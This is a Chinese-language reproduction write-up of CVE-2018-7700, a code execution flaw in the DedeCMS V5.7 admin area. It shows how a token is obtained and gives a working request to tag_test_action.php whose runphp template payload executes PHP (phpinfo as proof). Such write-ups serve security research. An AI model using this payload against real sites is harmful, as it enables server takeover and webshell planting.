DedeCMS V5.7 后台代码执行漏洞（CVE-2018-7700）

　　DedeCMS V5.7 后台代码执行漏洞（CVE-2018-7700）

　　本文仅用于技术讨论与研究，文中的实现方法切勿应用在任何违法场景。如因涉嫌违法造成的一切不良影响，本文作者概不负责。

　　漏洞描述

　　织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统。该漏洞的触发文件为 /dede/tag_test_action.php。起因是 csrf_check() 函数的绕过，导致登陆后。可执行任意代码。

　　CVE编号

　　CVE-2018-7700

　　漏洞影响

　　DedeCMS V5.7

　　DedeCMS V5.7 SP2

　　漏洞复现

　　测试版本为 5.7 SP2，描述中的 csrf_check 没有去验证，据说是因为登陆的时候不会生成 $_SESSION['token'] ，因此登陆之后直接将 token 置空即可绕过，但我这里并没有觉得需要绕过这里，登陆后可以直接从其他地方获取 token ，这里主要关注代码执行漏洞。

　　还是一样，先获取一个 token

　　http://www.dedecms521.com/dede/tpl.php?action=upload

　　img

　　然后就可以代码执行

　　http://www.dedecms521.com/dede/tag_test_action.php?token=05e0a0ab271dd01fd277c139a02940b6&partcode={dede:field name='source' runphp='yes'}phpinfo();{/dede:field}

　　img总结

　　其实这个漏洞只是 dede 提供的一个标签代码测试的功能，但是被利用了，基本上只要进到后台，利用这个还是很容易getshell的，有关于 dede 的标签的构造的内容，很多都省去了，但对阅读应该没有太大的问题

　　该过程实际上就是

　　然后填入自己的代码

　　{dede:field name='source' runphp='yes'}phpinfo();{/dede:field}

　　这个 CVE 最着重的地方是这个 token 的绕过，但是不是只要是进入了后台，很容易就可以获取到 token 么，那这个 token 的绕过就没有太大必要了